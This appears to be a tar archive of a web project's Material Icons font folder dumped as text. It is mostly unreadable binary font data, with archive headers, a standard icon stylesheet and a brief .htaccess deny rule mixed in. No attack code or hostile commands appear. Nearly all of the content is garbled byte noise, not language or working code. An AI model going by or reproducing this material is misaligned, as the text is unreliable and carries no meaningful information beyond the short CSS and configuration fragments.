tXe(v_}7nlKT>9֚V-2`}tVYZzSYtlOF"hhEG![`H'Aa{s("2eԌ99v5s`!5S$'WV@7$ ѵYžR O5[$gl ?޳W*Y,_XVCUAQ'z=ۑԹ;*r[it~":fh]]A45RV%z9u؍İ19rχxkEJKqD, K-:/Tf(֝w4lmiC)ZrB-crrpFsË/6.ӡ)O-h{grFm$Cm t>!i[L6gr4YuAN* )&ffry{!77X-(\:I_6_8+*ɲ6="ohnokho's>/7߯Uyu9϶䰔yB>_4%4ֽw!ı?~ T L!P|po(CllAluƢmUPzI. F<#` &hr{] C#dS0JaԂb(O yG $.ct/οkW[d~ug$YpFv81hp3^Y;zy/3[}awJƞ]LMnv],:1ws q|#Đasb@gi;yu?=gz4P"Ac0f21h'sVG>% }&H@h X9j&&Vz]CMV/-yD+>{i Sd0+r"Mͦ?Im@wmX[7Z+ꧯ=K])KR`G-7κ[GAlB}ӡpiU>[ȧHX|FۥebHCl>zTxLTrt$  [4?fƾ;ߵV}mcaDž%#h콼-FrZahpolˁש/}=LNBmV:Pr$Zdq Y޵idGĵkEȃ@%^\\|_ OisfsD0#(2\aj*K9 c6'̪Lb\ff vbt^Jz(lTZuZkiCn_(V Se]Z\׬$$ ''{ >#7#vCi* 4]~4SRz쏘v |zOf(sr9|]cHAEWdحE]x%D[mI$7i>fLѓYOfu#uڒ: 01^kgqZJVX}Oz=ևD@P%KphijT[#M7;?ykCy*DXeDC B(7gZ& nNlr9@M` &t"c+{;mOq`p  r44@ov)"{vX׉0wk`)bTۛI X^ siKВ)DǶbG\$$X1yC^YX~" Tux .l'[V~ik%UG4&-Ut9c Z3`'}%=c*@Dُ@R)TS< Xjc_E9~TPze!"Ӛ \Q vMi耍q'3ϡ(5vΌhʏTʎU8*  t35R?V18ęρGIᯗG;)G<`Z7SӶvC&%`+ w[&6y̙A,/iT^X|$#2ɨD=<t6T*aL&[Q!% EX"@qk 8?JMQ,엵;ꌒ;˙F% g,uNkCmw~RM Oi^$s4갤E2:j3tX",߬s# 9 iy]M9bZEth;ӂ2m"| v@ _ I(z  K3Dh4V"]1ʫ< ځhS&uHPf9)?F{^o %2/¹ #p<`:+@Gq3H*)!2z6$uYiY[+bŴDM/Om&`"&d6JmA8j=1Mgߡ-޿`K sUpbzM{rM#@ %s>U76o5)n#ɒzCxܵ: r03O?;Dj{'}v/0 q )P|ǪXъZ.=h3F_}M6My`Zn{uNt{Dl#3G_෤AoܱkAr <hf@|&ɂ8oK2-^ <caHaL(U; "- y-Y~=.!3$*) 4x)i|OY&<ԈE!( ~@jK<>p/Dg6mt/nA|d~DtYQ c^wsف#LG٦-޶`H' R4JDj6PBp<6䝈r;1AL|V1+g3/UaCU!t"gƅW̵Z_,7"ڠ=I0V8>퀁 1ϗ#hްIVv'Kn2`8ҳd# ?$&#ɚ7d@ZZO r1Y0-= v*ީ6Ϲ 7T&~K?*?{nC}QnxlaGdžVy:C]n%CɻsK:v'L)Qmzo;"\sM,1[~IC݋D֯7]p1AHhXwVg[mO[_fQﵴl答wÅ'S&LYwZL Ӂ'}.ٚS[rOm7YSAd-pc^oѓX)jk2g? ? 06]}Iul*e4Q,[kaj&+zvK|n?bAk+#8r1Rzwg"nX:(]k\'/"-5];bob*rk}./P>+TV+,h5C&s3nnɖw~'yié[!*al}Lw(8َ lb~q(u9eT[u}}ڎ3_3tBa]N^&!t6f$ksK93øal7Ig^%XHp i}.S׌AG89AfRoG. LQvtE#Ԟwd {%%~uN"Dya%kâR:] bJ/>ב"ϱ$u=>9#!!-UUT&<`XfW?F_oj׳_-/3P22ecqLM6L鸪|(Ʒ2΢g[XygLoO-. m|>KFapoG_518(.رȒ孑/G6 Q t;.2ꌓWY]eyUI̹ʌղm~r_9&27cbëANJXC9Ms8gHZ = _S0`ૄdZvȮYS-϶DTQTNGLUFD1G2+F`݊Y-D7[kG'3UMhΗq ö\,Kns{xގa~f;{K8:݇ܽ;weߗe ͊yž& ilǬ0d^-sF\zڪqIk\qe LJ~rkVcWb`* n3"Ao r\B?A%'pCWLSٞtwmm۬'hODC {A72,}}~2f'c*0Is[}ZZӧ )k$?q{u%^3P{afmGyĿLrE6 =/SMЧK'O|t鱟OrK>TNȝY"8Kӆ~O7DdTy 1IӪ@yifu2,gWOHC(\ c >_́ ÷/"~ߖ7R{4JQfB e P)H R#ʊ=$D*<=*/eO -v?~pӤT[M%F{fU^,T{|DzID@rD:+%h0ƀU!%lEPQ[>.gyOQxʹYg8!Y;~a0҈G*,$kAS#{n5]i Ҽ}?Z܎-䜼#ޜC.yyg s1ѫ C0facr"_ <볇oܵKǗ+hĹ0 ͍`ۛ8ciاցQY3QHYS^]C*l bUeX oʗVb0+'ʣR?J{1։ :gpX瘩AT0Bsf\("6o­Z:;]+FyV-&}L d.I;A/Gr9;O myD,-výRuQDP_˾V$֥\~w?Ȝ^ӱ1g$@-*̢,bRssZ<5H =U[Χ E $)[9 꼙){yg^&q` (?1a|u2-e6o-[n鲫O aL&_ 5 0EtCݬc6"4UvT,Oígف Gv@Bl]0ئ=p8k~gf1=RScm=zwCB, F ( bH ]TF$>P[2>,k0y.X > M2SJ5Zr/._va9wzK1C+oOȁ8$^vBygFШ;TcqQ:ύqHN]oMg໔CòV*!,1, "$Zx׶]P52"b1},zt&&%vuJkRAaR[ ?z3$?oU$ASeCOaV=~ HUs5_~IB'JJb5ų`.`?XӑTz$Olhq!"?Λi')8Y*IRW{8+}mTz;mdao̒(–!]q`&@@޵Y4{WҟO--߳Ol6AGW~y] !by)}|lb*B,rH#x%u$BJ)HIs n QgћH{a01\QȊa}xlwur@0chA r`@ؙ.wSvtJѭ8ltW۫B&(rn٢ܶ&PkP5kAD>wG:L 1qfo9ع$=p-l>A}AΟuǶ%˂પ6I秬IsTtQ[‚u LHo5]syVLaכd@( }֙YmuG ,;N'W7)D)ʤat2ӬMRO Ry|||8QCa>H?ҚB3hqQ''y/V#T&%/M ӆ*J75MUQlz>~..鉉ab#rH (kpH5Ÿ!8WA.FV_5ʊdx57D<{2Z֨$-j:mQ7Ҵ}OMLkI"'=A򖁐K z /)"i E/\sMEoOD2 GiZ0gpvS߁b%'򮘞9Crගqxg|b'9 νMUp ejd<Y<'cQ2ܯ3q>u؈^RNϤ:Ghsw-Pn/?k4d=~2190i87ĸhl?\ vxسo@hϞJFPc/{=߿Uܵ1[Kh72#U'Y&}CJc$:͗;~ic\tKR޳ہQI' @K2ttZ(-ra!^#M gkz⧁\*$T6{/˲(ź5:`Ix*MlgO@E #3Z38fzt )eJ.b4ƻ=(ޖDZ/Ο^_?b]tvAi{O]=ExAG砇Bҷd=rm,pWxP'feT>~[4!9e|A"C|E\{dyԷq?$VS2O9Y XDwf[-\`DV:BXWg HCx1!frqrqUwZ0Rx^m(x&{GVR"E]:t߲CW.N8XW"n[ [BI4eYŭC& > + %'z6>ժ E]456N$y}۩#捕o_^]HbO1vJҏNnQDڹk$iIXe:$DFC@u=V6}Qwb{۔hvr[" tC@x9H=Q f^Pq+PIH E ZT!(ψ3U-7׷?aDd>/a->ha`I K)0qWk> %mm)+ ~ kvTYy@9|Y rye./n JJdGŹoWtU%BBxwxj<:oX+X3!a?3qƞ&M}h J Lsf L 15ϲچck w.:+:7rVGΰ5eN$7wF-Pgȿ1dS ?ӅkrrȢ1& FfMswv[i*$,ZYܿq~B};,04F$.8`7a w:(h E6'f; -) i([־,N)1]L[ &Dg.\Jb6 f1|boæF[rp!F*ᓇ ߇PVuct_Lí )UE#N~=0rD C${u{oZx~  =D &4vD-FQ.BHetEӶ{W8 QO?9;aBɂ`2=f{ k61wacV^n[5 _T8}] YAV\Nv^ybjǢ)=lY^bZE-fΉWKKE`\Q=Z3B^-kkNnsvhtm1[X )  DaGiIA ̃L46\:2 m fv/iyO0BA`ਃODp9 {PcpvڞَR9~* X/,m3mX,Du=tSOb-hϪn"LMB:ќSd|o"l|h,<,tp,C01(FLIxr d4*)[V}Eqn_P>-7W+.nK|O< d̟榭RTcHE:xwڵ$&׮R<#]Znbx Df%7aZZiRW z~~A`ء, 6N6 G|[D2@OO`0<3O5WuRu>eo+Kwډ?JYeL}⨺,E|4 ?>74$N,mO / APO=YOAgL9 +/S @³qG u׫gm}<*Z"t2ǧ}>C %uNg%ZSV+i Hla!z8-'If'f.onlÒ/q\ dz^w^e3U`_ʇ||~+Yw]@HDb`N!D4Btc5̨x{܎G`NPDԹњjxuF?mwj50 *iN{4ٓ|4u+@Hw=Uqmd]gpӘ=:] 0|nUg磾-NuWW;FJi[NnE"5=svT[^I}2S[*,mN;p^rH/gY[WkTJe2,@챀CB/!Xp݄I3GkPp#)va-Z.Zi N*`U:-`IDTagM ަjs3Sw\tP,vOޗ4տ7iJM={!9om72vb\gwjqTEUj@IvGcA฾ąlU~qo@p5/4'̦=_\#(wJHˡ~_y"5'  z~V7XQvQ-%E*^axC嗊֘~4UWWn hzxp4'ꁃSf*Z:9bRVr.?m}!VsWejv2#^mƟ]זmsTk,M/(fꎃ5(dif] dUI7?9fb9]MƁ8rtb(ztT%CCb}&17Kж(8z<+YT~zK]57^|s 0p,&i^6MIT{eǤA5#sӜ없W.ffW'us;(}o'{=tUqZ!t nOyN.) X*;fVW&Q;55 8OK Tݔ{3su`8%.v`΁0$!R[?jF`[nS4^3Yolj27fchlĆQg1hڵ+(K䟶PT,gC-Xͷb ˗_vҘ h&d P ,6ӛ2#DE:%2f`{ϯ-g8"&ȆcO%߽ X\7L+C 2=ڵF+5ɔ2YeNIQTӫRB<7`&琢P.{6ィk 'BD_ܿ|3IrKǂ\RE~y[TgSκFhCmϊlxv ?hl䜞h՞i7 @VCSݸ %kRgu@!' h =?F%ag?>qܺ{<>X5w<$!c@n~`Ixg=bzps .XrY'(S.s^oirt8vX ;.'\>(EF0x F͈P1qV ec ͪzFF,1Ts:Йjf 'hL-G[/[N0j11Dja,8t@ c6XVswW?hiHݘ^J~hcaao5# A̭5Nu0 3圡*AL(PUP+:w /$qEƾ )'FXQnAĵ M'HL;x,`z 40iƎmkoBF}uZTT7Q(t8Qx- E?BXוmý`_03r̷K @e}uf.7l?ehOf4jrHCI95'I%<92&_b. 8< dŀxxҙ^1rx~k⵼vG:kӗ5K37jvPaRܿQez[,@9P:G2 @wg|g"-vx ,&*Gr"#u(yI&'}05yFvKpΑ$Ype0W;y2MЋzp% Y[C DT#IzpQN!H)ejEC'V,"0>P}᫯D}eҔ/A)a yBg:vϭu<_."IlNI\08dCEY,)G-8nO=,!<͢q-D\Reʪʉ3?˟(.aլ Ͷu˗䌿(p h>:"ŸW z zf4V_A/H.*з hg%*ݾC`?˻E2ys\C0$96)4vY\e05n 6Vx9,~GJZ=6CsDvn毾|4 [QLOy=,DmmR"7R5ڶɌ !ȴtI̤0W{qB+CUpM"GDd\.wq,=8JU8"a> C8!dbUU.I>f@`ffq&Ee|nF!8jqJE "B`HuBz < ɂ[x蹄)#ihm8|<)↴Fit? l_S u j rQ.<υCHme3 A vgoCIB/O[@&:yQ;~"GCcJihݷ,6d#gjM8يJSXLܠ;D/ #7f}j9gDa}VVɃ0f9'-+P^B>Ej?v=#94_G,t?b13e}՘P߶d9*rXfEIq0ԹPͩ>K\ٹ҅:HϩKa ^߲n%]޷++Wj3 'L+ @69&|wr9"Gc}FzڸמݯZ%]eG1{ih3Q(SJFՏ }? wpt Z>>x#x.\`[^2׿POϡy/IFP'rG3- ZTSBΒN,%"ys>-JNNxe6?L‘:J Lͩyn03q-- }@cb0nEl4xQ.#N BMp]a4l}_ ƤP"ƙ.Laxb6ϴ\οsՒ1e_"%";%MZ@ ͰX7M%X'SϾ|'mKyx3AQ ҈!`r,aH_ogZ;lm٢Ja;m&ϴG!zOΨ2}LYS`-VAS\HܗNÁz R*'ǘt%gV ڷ*T~mAߎ/R#)wBT*~SNQԷ/2YZ浇 "i6nFFN4|) v iPU9L&c>oIi"0<Ǔ#X:I_Ҹ{}MlQH--÷@ uRNFJp2zHݔPQqcz+u5\(BwDG)z!^Nym*5j:y!M5@҅y#ۉ0zmшS7{Tꄃ"潡WAS9b^sWOzGG;w|%S2gArwg(]+W*AϵQ\F^ה5.G Wn,&|ar5#aȽI0 C 6Kl˳gn{ ]a,{v 0*ۈ=Ay b Ba~4Pq`Hc9(GgHC(6SSFlA?mF9$>Z_Y,֔S^Mq2mљ+KˏO0BcEhy$%/K'ʯQ22*D$Q+;gWֲIٓ x Z|87yǙ>i}ژ_?1$Pkyao%rd~H+K4d.9:*ш/MG L/JN+B2-q|Xzh"|yp&$y `~8Rs@{._uEݮdCxɊ3Lu|km~'y^Q%Y|㿦4шXx'n(5NcF1*M sNlD1p ބiTd0!$bqSsIB+s>o2tϞ vX|I(\,gH^kW,cUib.UlJ,ySX"x*4/:/!ts2dxS.{ykg OU8<1;1*;";w'EH㎇Ýо>tU68ñ|u%RˑgzdBa"lUva ʕz @fbw9 |iGqW:W^>Yc)EJw@F:]k #K:kLȍyu7?{V7%ydEqW /*:j>d?QE7g )Z$ᐪesBc$#t- ɤjr-=S%gkRd.PdIDžyv;صZxMirzV.6bwP>iJߕ,W9tڈX+lq1sϡR'W;ց eo kM'qK ؖ{OnBzAޕL@n$0JXbcod mD75cQ> Zнg w244DκSkiA&d2f:(N#nృEwp" YkRmڶ}ocwꞖT4>J| lZ{ E4wʵ_"/N9zbi84Z/QɑN_3p3lQ!9;4< x J/:UA >fD[}Y;qW*v`´.1cgf6b\&A_k_.C Q.뚢_~C{j8Gnвi[W_]UTlTّ2) YxQϔM'/)[SkaAN rB,̮Ҥ<<еX  ^k߈m lO/ENQ~v7䢀cj7ԾjvQ!#D^mIrͤyS9OC"+5,t{H(_ZB,m5a_.䇗 n~/1*ye7 I }l1=VfsfUF7UoM_Wɪ2 OGoOUŋVf]Dfy}w/gԌBJh"{`G<2~P!^N.t aD'[OH_=3te(O4BL(No\D&;+ĞܞNmOԣ Mz$n-C7릧X>^q|9`[."!ˊaq( *Lo>wqqH*W1!1> keş͔+pH! o'P ή>Y$@A 3D\ahDiOyYjN}-K/ߌ!81c6oxk1Z̝3K8°yo;fcsj-X64DC$ж?bIKdM_$뇷m\Ϸ{YvlRL={xwrB Ź FJO&9]ìf>qIKY~>׆䖹)ōs29|vuTID0j0#[NA;'=#q#vL_ pkn/'t?߈Qtbki'BdW5zy6o ~Q,U抱/ I@R<D[dDrZRW.o/+g @E(/c2ԈmT&\p8 {%㕰cW]۫:o}u={Ψ_݊T u*gH_i i9|}^7^L$ / ŭxؔFMrtWBɩ޷ZdA' o7'5o!͎NpXNQ+֛;IOa}tHG@%y,#sK7nUmA'z̕KPK-;Q\O4o2L.tٯ~(+cKI%`{/K(nS[Oy-R;o@VOh X?Kd|7 CD>Mmԏ- [4$]d|rv"`aN굧|gt%W/x86,ܲ7C;P9PU|6PkU~bP*n n᩷X O61~sl$їm?k♣W{0ce*:?11*?i;yf0P~åakR|5ܐų3(/ן)[9 piOxQ6;vŢZ'@]ݢoRvCQbNkw0q9} ˛hP_6t I-I%??9iҤuQ"v顜_k6ٚ64] (ryٲkB6TD@2X*yʒt;`W* fgYk6!Ӧd wP>M&0=t夌"'HaM7,ѳad53CB9u5y@ vQHIA}zאc"4?O͛_PB2xy5,b6ߔS'~w,jP t`-:p(CQŅwL1y;e 1G0Vŵ"i^ũhYq^ԅ]하4U7g]_iR?XvK LĒIxl6d}}djPK5}짝]slܕ[έ ]px UrٔA3uaҶL-{7U-{ԧpŃ+T5u(h'P)>UdMh~.S v1*bsM{ŀ Q6>KEJQ)ۤwnľ ʑRh/v!jMe u2:^Ut)fjh@[7Hb Z^lDwrgmi[xr:hӏK/OEpp*sz;%Ѿ܎$XP$A)/Hkhz̒dާcN {SSLrwۣ:e=F@gJ?9ŏVvn5靱{f2ú**0)rzR!F~^ i(= 02FW/F0Y%h%q|[-dUVCĩ HpaHCQ^D+Uժ#ժD|ebK.euJ"6ET ߣnzC)BJ,0AB lO)_Ε+㭸MaO\B`h7У }>vZf_pфGvv*))e094?";͞7S6D L)&C>Qasv~g׌,P451`8"coUһH,9UP"d]߬Bd NV$:ْF@TOI- RA4c|-QT F+bHTtB7hRw]2 " -Hs_}|e {E~)śnW\_kk!ňȉClQ~-;ecX8v Ǘu,)0yD 3v=Eoj|JJ2PVz ؊_|aM`iS:J} Ź4,H5q8ᇀ#)ؖiAk~O#+S Õ/53UuV띌7+{J\v`ۛxbUlb1 NX~V趭\tj 49YXć&bp2å<|fHWU 4{(Κ=( k/MfB<~ʳrJ!Z&7YKf (.2wRB R_!ϰ9);V :OmRNֺkuеKHD/_dtqX/vzO;["{eZ.i9,U^{.su|k0]lf#۵5aLȏ;CV)[@}&KV0Y=7W.p `7k:GL6'g|u$PS ^7h@^t(?w}":x(Y@"P*CXv꼃/qDIze.,.Ǥ'5_B\&T,!c.&PQ—W ,=Sdߌ=*r. .Je"T 4auC%0"qg鼕%"o|y\~\L['V`֑p"6-N锡ަ"$* g(8Z( (~ݼpΔ[K|ooZY;z"Gsi %yM5Av! &,-!juȗUaFQQ?r\Yxh1)cd`fN~ @_'?Y%Up @nC0Oi 5k АG^ޑ_@2>-?-8ZcnmY,=7-jnР jft\O*M2ۼA 2K_3ۛeF R?ikq2y}:}" Z/2pQSl808·.qvcu?|.~D`eOo eid*4U7ӵR*ۜؖS-Kz3yQ^,ŝ W֮MMXse0E!̽%,ȳêfgĚo 3vxba2Ndgb[xW@؎" Za\Ee i &`hc=CܨuC,wU෉_v|#hJ85~eU@"CӉ&,w „јfJw'C^A`)N2 ~۴qjeW%@:+_LMim1mm 1akr]A[Vu<%輂sU}}GNuٛ'cjJV)@ă ͧ'?oɒQe><:RX僋yvlݿy.}}o&zwyV3l.Ϻikgi<}Kq0]Rgnch1 \2dn:y,{WEIʝ_1+36lhכN}գLG/ ]2^J>-Lq4J5e o$dk:w>1-Pa $rC&HEns 5n+H[n$ ) E=P7h.[x|ŎG5҄S W^ɺ}GL~G;s[>p_k@ghr+oT1&)<"0mJ%3tfb| 6/SYL։W~2(zKgm_VlQoa2i4eȋlrFN(ā KeQd ׉(ԗ#5mP`3\7 ,c` "*u>G}Y  HWy+#^!,d O:N+;|v"5,hY>G*&yMkE@ŤnrO0ta$2,8P(z"* _z_[[̗߳N Ã+tv;yZjS E8Tտŏ/ֺq\Q V"hޖwohLޓU7!SA#$3 +~Je&g~YnI#B7=0jd:;>% K7i!K@~%Dh.6@gtd~x!$nyu͵e41ǽ^ʷKnNH{FHybɉF#ck48M "EjC:Tb;O^ (mjڈv6~` '-w$ok$¼^/|_3.o;v]GjlcxtD>;k(I+ %ӮʻW*R>oH7p r]AD 2Q^͌ߌ }yƭǽ[au!!'e60Pao3G^ǭg bt*Olx.B4?m+Q~S'Om/9㻇^[&˘?enkuޡ'Y21S"T| ;Eba"2q>~N7BOsxT=;<_SVR6@at᳾ UCC y*A`Þp'̪:d}sXAxi}18RWlC6~q'Q(cyW3:3ܨh`OiSOˡSΐvz]سgo'iKnFOOgU=jC1`I9F ^Z‹~q#F1sZ^􃡦UNIzńOx,tar#lql\Rw-#9^D-o3+pUsoՕmuߟM5"]91@Y3<˒R6ؿƇWyg0~я:z (0g~LOA݆Ӳb,͛²Zr*m ҳ9%`xe pDeDYGl:Qnjbgd8E1[b|jJj^;zO)yªFSŕUz>P__>p̬;Mm} }alx sj'ӭ}B"-E#٩w;<y[Zֺ<׍;pFf"*?CQr) 7?J>f f@ |w+Ce3ȦÕ;;C^YRu[[¸N~W~IN6C)ߞ6@o\-o KVn{a0#)`Ssp@-*Dbו47f?wE%i%Fu38e<=i.O $/gP#Eay 4tYed(ݹ-ʡ:Jf]^+4ye'H9F yRs\ HGg*>IV69٧64q!T4̩NAo.^ sfG U*C*qo5";TFB E{G$سMk-(*pӖЇ^I@+j,pϊ|[Ua+ aYg gąy2şRtO_ڧ}p }AIIIHx4XLJ蕤`vCf֩l,EOl,hZ;6ΟT\{8ﻦ$pm%A '";<|Xw 6IQe;,Z6ZcR h 0 UQQjOﱻ~;Iq FhWuuYtZPշqe 0x.:?ܦj *ʗ'To Hzq.Iar>櫷ti5*18JXkqbzpEAb~ד5"M4ԙ8mض ǀۿSxҖSqH#3dC{9G3`d FW.sxLǀ4Sl 0&^VhZ'g314a#1n0qjs{X[|b+'}MB{RWWc~=Y.k=Z/ 7Pqo&L2]y3ךg^)}!d8UQ vq @}<N+És|*L5'3p``cLy!H\҅Љo@<k~Vΰx`P+`ݛ8dƱ #[ r xpүВ %q$%Yx&^},(gϞ|yVʞj'繤q?4q@儆Ԅj$ekѣEaF&J f%G5kx)t 7hQCNojWTwF0OQ2`1{zWznk\_Zcxըk8Lё^,KG,!gx@YbnT2s ϣg4%I)0'K4%ܼxZ'w!_ \*mLQ qe5K@vSq?);! ♳0lf|@ݻ`5^ 2`/ KLL+ %wX#*`6_%ELٰ`xQX54}=+tz7#\ZMukNpM?:Rи#yHֆIs*ҍd䆾"bsQ_^$ xzsnL a .|)an욦vfkNcJ:Ȓ%a@$eIFi 'Liů"i&!:&f7?ٸmxDdmڲ$*3W_ϣ\GsZDL'd.n ?վ@ӟQĐD-Teʗ(]-zTA{uZdS3xW9BPԍٝ0"=Q9ll =fR0d.tG]G?/@ ̉ I\dy Lo=v %9n2GbW&.@N̠( 1nX:F=Yɘf~!`;hjm{W1ƴH%NOh(D]=296OL1ĺ pMtCyFޘē^6)D7AKu:.M84SFA~o *-|9鍊oV%F<wiC…K+rSƕo_K)pL2^1oHr$k p,L^1DZ%x!LKvŔ cˣۂDF} B+S>"%^h4;\n:xDObr p Dڀ)o4b 捋ᬤPG+*D*wbTYL63Km=^(9RVZ$5d~X=WA4I7ٻR,g*_+/mvK.maڒ^{͟nbWdsAZ/ur*6ow)#~\¹M~3LHwH\SV>D ͙6dž:U}zxǕs@ϭҝ 9]K^ke{UK3R^z1^~y6ןyԩ=A{V[H44xDq[PQ&J;SGEnՓ1bcGaG24NkHIUKiswߕib= S\Zx!h $ S #5⹺N] o3g_@ f(f6(L8侤^zKE w2,x #ϓ$0. gMU]|-zzϓT{'::w}2Vԙb(YTR-h?Nç샓db"҇Ek-NԠӫEN4bAܱt rR't uK_xyE W=DOKl@ͅmf(^J,VoVS95|xr3MJ4-xOǼ/֬\g֚##Vb-uO,Qs(;gKuǤ{)"#$m}SيrdE'r#ђ@ERKpJ'}ZSD^'ѕɻd#r,r2A@{L䫤wio$!eY!%>x QnDU)? </m-KMeҕ{k(Kbk !>t)1.DL-4Tn,@p~JmH?xrʷTK[ފ-S$GE>{F&|NQAc 9dfhw#T`Skf#w0{~o%d=KT$o!'e[>6At r&-C+AH~ZHxH"Z#mpAфW*gU:Ӯ5ݢjI`NTߎey'd0)@NHOՔLVaى';<Dzvǂqdě.BO;540R Pz1R„\ ))2"8 Ecp,\Z$b&r [_5{fQzZqBUn1,I1_yKqTc絼[bϢ-[A9qmnWU>7 0}%ڡB_\kIPżRCto59܄ݽ\%%X,rW2vmϒܶ7 d2¬dG܌YbL,c2?/lr ]uNќdP?C~ լA[iC}Wc60:z @8LUWf-7*nK,-O\uir&H6+%d6 bp:dP%gY1qm?Y$PWajKu%; -Oċ&0_A!Ӵ]qFn cAsF'By!~=H r\dj٠p[~ X2^] 4' Ԉ0_x~RA"*Ԝ0U)#ΔM'Cט& Z"డmmx\4aaWrTsJ}qBvYF3Vvc/;<*+NI֎%KĔ[^\YP+ }è,|ܩ_G7˱zW20:d$F+`Wֹ(,ך0"?Rzi!#jnR-UWV]h W?LhQEսXt^a#2(:IOwi>l~ehIծz3G*_9Л%Y^nԊ ?eӧ?~vݸOQBADB +>AW ݩa]969Ex~)n> v81׍cZ+ofwQ&4R*>1':#!*sAd' wa S#_o{|JM<1ZkuCU9!l"<ڢI U>vf!DL)hgv Ggy=3B.8E7مXJ gu hbϾbaqf@?͕C֣*7ka_5v')])Up^I#*Z&nγYTx!U$ɾKf``-,1FbIt\$3Z[i魧(c PIW7:oSP-O ?RC?yc'ઔmHBLz3g8N܄9&쫂ܜ,W] J2]<{ʢ2_;Q:6{3D'L@yGp=I Nn}=dzfV<E# Z.q2mv`ηIl5n.,=6N&?%[ٻ=_ h kŝɛeX,\d?ehtY?XX4I2E/ΚPׂţ'l;htnp s|v&f7ewnLa%*;`$5i.X-i*,o3Tn>:*En RF' 7#l1U͍k\v=']Sc>GFu =LRrqϲIcXs P| Y#R=n +;70;wxw8vi;3&v=90sshٱtsùwh8`ryaO~}qbŝwI&g-~wXCH3e Y.$Y~`9w{3,.1ܛݸs $=8Opublic/assets/fonts/material/material-icons.css000060400000001712151724235760015705 0ustar00@font-face { font-family: 'Material Icons'; font-style: normal; font-weight: 400; src: url(MaterialIcons-Regular.eot); /* For IE6-8 */ src: local('Material Icons'), local('MaterialIcons-Regular'), url(MaterialIcons-Regular.woff2) format('woff2'), url(MaterialIcons-Regular.woff) format('woff'), url(MaterialIcons-Regular.ttf) format('truetype'); } .material-icons { font-family: 'Material Icons'; font-weight: normal; font-style: normal; font-size: 24px; /* Preferred icon size */ display: inline-block; line-height: 1; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; /* Support for all WebKit browsers. */ -webkit-font-smoothing: antialiased; /* Support for Safari and Chrome. */ text-rendering: optimizeLegibility; /* Support for Firefox. */ -moz-osx-font-smoothing: grayscale; /* Support for IE. */ font-feature-settings: 'liga'; } public/assets/fonts/material/.htaccess000044400000000177151724235760014070 0ustar00 Order allow,deny Deny from all public/assets/fonts/material/MaterialIcons-Regular.svg000060400001046072151724235760017147 0ustar00 Created by FontForge 20151118 at Mon Feb 8 11:58:02 2016 By shyndman Copyright 2015 Google, Inc. All Rights Reserved. public/assets/fonts/material/MaterialIcons-Regular.eot000060400000430134151724235760017132 0ustar00\0/LPMaterial IconsRegularVersion 1.017Material IconsBSGPd(/V/\$ݧ(u\ PD7VqQĀ!mO*4X}Y2;`%h7=Q8$Qn,k$StM8ٟ#0CЪvхl!i;c+`\ p3ϢGH "l^k*W_ z›ӓd5$d)7؟)P_avX+^51Q Hq$s-ܐ7S!-GF2Iܱ>TX _~9ߧ+e,H~ݏq(]) Yx?LWD&,6%uU ?D([bںܲg4|KЂ(R\ 9@ <;,Ϙ&qAd=Ujᨉw!5vTܫBPfb 2Y`xTC1(p6غJN{WrG%O# #؈%Ճ0Q6 )S8X\o o)OO]F@G{xq uWX+ii 4LdR+CBpф9Kܓ'}cjyK?Rq۹b2bFg I&Tﯺ؋_[[*]:`%°ejgubS K5k0tyd0ZDdʹ kFAN+PϬo TE␜$ӻՉr aJD% .rae!Iӛ CAr\q)GVG؊2pBE|{ 0yňY&c .(N>o2"h:F?:<g7KS, 1K\0I?0  L93q1gI|7 ?^?O)86ᦓb 6,PDDOŖ[ -C,`T!}FS!mi#+K4Ȝv鱁&#</I>}JX(Tp:vhvm  Y 6g zD v %,9&[96;k{HfuaU:ܙ '+GCn<+vCZJ# ˮ@Ufbq欃_Z1{ქoI ѫ;^@xȾ9&ſoޘ/+ߖf U'[.E TKp Ŗ -FZeU3L&yUeҰc uZQm Dj8Q.Ž !-vu--ny" aaFBfP/ 0:*rG|(6Hkq9"%졀n7(;XFe*`* d3SOB.n*J.)%@A{Q L!]߰.e5`mQ2\cV_ךڅ%NAQ̑ }HA'ǂՕ58ʅ0„@:sꜩFP>na;~D v!Y{;0s&$RftA N4k'iuKVTb3Q,A)N9Z:p@0&%X`'!]*3xE,6k⚬hX&I#~y_LTfX&JQ;:ڱsŇ R6uV k0l#!BJץp(d(Z3_B|Tq$}Nx]-lNǨMY&T9.>}*Z݇㣣PAWIPq.u*$ZI" jR*bH܍PHa0E>C%=|:8G8@ 8^}MAM0\4UI]6L SH S{]8^8׳D NAx0œ4P>}U[y$mev'%=KKb CTԛ--AN \QY %" _hB08ClSG`.}j n`B &%'$U$Q@ fszrn+P\{c˼vG2-1q߼̽P4p/u1$!r/24B.\@;/4ro'bo YR~Tv(qd:b4jYbE_W1ϱZJhsf=bBo~ n6bdb%_  +3X#IHM@<@)HRNu@ })擩5E }>S] ^ctvvHEYj߰:]W,[y$]~ReI}"1(0Y˸Bwsa'EdB#q"Ilq6M6`W0 ~6/B¢pޤxAcL{i7XR-[Evfm]6x*"e nWBۖue\aI=Ѵo!ZhP1 :yq} 0$Nph/ūA*H|N L,^]$Ա~АՕ}.ϜEQsIGO3tt}4~%NLPz7J5Q$dr1D- jw2lT>x$9^h; ‡(V>Fϖc sΨk}8qG7Ѐlaqy;GĄ^i3@T23J5R !]00qSfLRz˘컏u. m:O@rk]g -M*0?" *Dd9\tb!ּ|f0?,i4|{bJ%uą*DԆ&!nJR%(ADn˒(,\1W>('nGPJKP$O4US)LCB?L ե99FΖOT(<īNvrj"S{{ZU8Tpo(tNP:5nيgvHd=o 1uIvT(xdvY`]Kz# (W2B<v NHVö;ʠs (%cݹ[9{ @) arsᤅ}p)  `` / `)2*P`:ucGޯgҺ`vO #pTpJ(IռeNJW:zj!nÈHT"/ Nve%EOamT73 JќQKa*wq`>C[\+ĬVe}%"?Gߓ{n{qj3Zhg; Zެ"B$& КvTb;]u}Dγlڰ}N]Zc8_!%h5׀w@A:cp5vpn`v` A<.gGN-̨acI"2NRG-ӵ5,6Ȗ{^ S1,IǕ<_ezm =e"߮w@t:``6-x\=2h}ѐS-B6=zR==Ξ3_<>"RmVYLDäo?7ރ {2.3{fC`gtOJ$q"Sl8n*R{qViW!E ʼgӊEs|F>/ԆF-@|Xn9vuq!xVU|)̓h]98xЉR_9 ʥ 7+ѵP%΀䒐^#_g6I29tv9cOxMJ 篆6Ot3%W/YqW냼ӑTN%Qk:==R6dx݅F"Xa-ϋGNG,^Ĕ/%EAVȤrxvuo5H5@f_SwA-S+jZ[  AF+_ *H8s#t$ŞF}- 'as 